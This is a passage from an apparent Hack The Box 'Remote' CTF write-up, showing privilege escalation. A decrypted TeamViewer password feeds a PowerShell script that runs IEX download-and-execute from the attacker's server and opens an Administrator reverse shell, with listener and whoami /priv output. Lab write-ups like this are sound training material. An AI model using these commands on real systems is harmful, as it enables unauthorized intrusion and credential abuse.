root@kali:~/CTF/HTB/Remote/PE# ./decrypt_tv.py 00000000: 21 00 52 00 33 00 6D 00 30 00 74 00 65 00 21 00 !.R.3.m.0.t.e.!. 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ None !R3m0te!
With this password I can do a RunAs.ps1 with the PS shell I already have
$username = "Remote\Administrator"
$password = '!R3m0te!'
$secstr = New-Object -TypeName System.Security.SecureString
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $username,$secstr
Invoke-Command -ScriptBlock {IEX(New-Object Net.WebClient).downloadString('http://10.10.14.78/rshell.ps1')} -Credential $cred -Computer localhost
and get a High integrity Administrator shell
root@kali:~/CTF/HTB/Remote/PE# rlwrap -r nc -nlvp 443 listening on [any] 443 ... connect to [10.10.14.78] from (UNKNOWN) [10.10.10.180] 49725 Windows PowerShell running as user Administrator on REMOTE Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\Users\Administrator\Documents>whoami remote\administrator PS C:\Users\Administrator\Documents> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ========================================= ================================================================== ======= SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeSecurityPrivilege Manage auditing and security log Enabled SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeSystemProfilePrivilege Profile system performance Enabled SeSystemtimePrivilege Change the system time Enabled SeProfileSingleProcessPrivilege Profile single process Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeCreatePagefilePrivilege Create a pagefile Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled SeUndockPrivilege Remove computer from docking station Enabled SeManageVolumePrivilege Perform volume maintenance tasks Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled SeTimeZonePrivilege Change the time zone Enabled SeCreateSymbolicLinkPrivilege Create symbolic links Enabled SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
This will cause you to lose the lower priv shell though. You can keep it by backgrounding the job with
PS C:\> Start-Job -ScriptBlock { IEX(New-Object Net.WebClient).downloadString("http://10.10.14.78/RunAs.ps1") } Id Name PSJobTypeName State HasMoreData Location Command -- ---- ------------- ----- ----------- -------- ------- 3 Job3 BackgroundJob Running True localhost IEX(New-Object Net.We... PS C:\> root@kali:~/CTF/HTB/Remote/PE# python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.10.180 - - [05/Dec/2020 20:04:50] "GET /RunAs.ps1 HTTP/1.1" 200 - 10.10.10.180 - - [05/Dec/2020 20:04:51] "GET /rshell.ps1 HTTP/1.1" 200 - root@kali:~/CTF/HTB/Remote/PE# rlwrap -r nc -nlvp 443 listening on [any] 443 ... connect to [10.10.14.78] from (UNKNOWN) [10.10.10.180] 49735 Windows PowerShell running as user Administrator on REMOTE Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\Users\Administrator\Documents>whoami remote\administrator
Lastly there’s a third way to escalate via kernel exploit with RoguePotato, a resurrected version of Juicy/Rotten potato. IppSec’s video actually got it working by accident, the proper way to trigger it is here.
Lessons learned
- Enumerating NFS shares
- Checking .NET Framework version properly
- Discovering that msfvenom’s exe-service format doesn’t work.